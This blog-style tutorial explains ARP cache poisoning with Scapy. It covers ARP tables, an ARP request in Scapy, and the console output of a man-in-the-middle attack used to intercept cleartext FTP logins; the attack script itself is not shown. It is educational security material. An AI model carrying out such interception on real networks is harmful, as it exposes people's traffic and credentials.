Black Hat Python — ARP Cache Poisoning with Scapy
Okay, so now things are getting interesting with the ARP poison attack. I have always read about the subject but ever had the chance to experiment with it. It is a type of attack in which a malicious actor sends falsified ARP (Address Resolution Protocol) messages over a local area network. This results in the linking of an attacker’s MAC address with the IP address of a legitimate computer or server on the network. We can fool our target into thinking that it is sending traffic to its intended destination. The ARP table can be spoofed and we can insert ourselves in the middle.
Each machine maintains an ARP table, which is a mapping of MAC addresses to IP Addresses. For a machine to send data to another IP address, it would have to lookup this table to determine the MAC address associated to that IP Address. Here is the ARP table on my machine:
arp -a(10.0.0.1) at 0:8:a2:c:9e:8 on en5 ifscope [ethernet]
? (10.0.0.3) at 0:c:29:d4:aa:95 on en5 ifscope [ethernet]
? (10.0.0.20) at 0:e:58:52:c5:8 on en5 ifscope [ethernet]
? (10.0.0.24) at 0:e:58:98:10:c8 on en5 ifscope [ethernet]
? (10.0.0.25) at 0:e:58:73:44:fe on en5 ifscope [ethernet]
? (10.0.0.26) at 0:e:58:53:1:4a on en5 ifscope [ethernet]
? (10.0.0.28) at 0:e:58:53:c8:38 on en5 ifscope [ethernet]
? (10.0.0.36) at c8:69:cd:64:14:f7 on en5 ifscope [ethernet]
? (10.0.0.244) at 0:17:88:41:f0:10 on en5 ifscope [ethernet]
? (224.0.0.251) at 1:0:5e:0:0:fb on en5 ifscope permanent [ethernet]
If the mapping is not available, an ARP request is broadcasted. Here is an ARP request/ reply using scapy:
>>> from scapy.all import *
>>> arp_frame = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst="10.0.0.3")
>>> resp, unans = srp(arp_frame)Begin emission:
Finished to send 1 packets.
.*Received 2 packets, got 1 answers, remaining 0 packets>>> for s,r in resp:
... print(r[Ether].src)
...00:0c:29:d4:aa:95
The MAC address of 10.0.0.3 was determined to be 00:0c:29:d4:aa:95, and now my machine can send data across layer 2. And here lies the problem: Anyone can spoof this reply on the LAN. If you can spoof this reply with your own MAC address, that machine can be fooled into sending its own data/ traffic to you! You can take it a step further and fool a machine into thinking you are the default gateway and simultaneously fool the gateway into thinking that you are the ‘fooled’ machine, effectively inserting yourself in the middle!
ARP Poison Attack
This is a script that you can use to perform this attack. It has been tested for use on a mac but you can tweak it for your own OS:
In the script, I am trying to insert myself between 10.0.0.250 and the default gateway: 10.0.0.1. I will capture 1000 packets and write to a pcap file. On the target machine (10.0.0.250), I attempted to logon to a public FTP server to see if I am able to intercept that traffic. Executing this script would give you the following output:
sudo python3 test.pyWARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6[*] Starting script: arp_poison.py
[*] Enabling IP forwarding
net.inet.ip.forwarding: 0 -> 1
[*] Gateway IP address: 10.0.0.1
[*] Target IP address: 10.0.0.250
[*] Gateway MAC address: 00:08:a2:0c:9e:08
[*] Target MAC address: a8:66:7f:33:b5:8a
[*] Started ARP poison attack [CTRL-C to stop]
[*] Starting network capture. Packet Count: 1000. Filter: ip host 10.0.0.250
[*] Stopping network capture..Restoring network
[*] Disabling IP forwarding
net.inet.ip.forwarding: 1 -> 0
Looking at the captured/ intercepted traffic:
Success! Obviously, most traffic is encrypted which is why I tested with clear-text FTP. I just wanted to demonstrate that such a ‘man in the middle’ attack is possible and easily achievable if a malicious actor was on your network!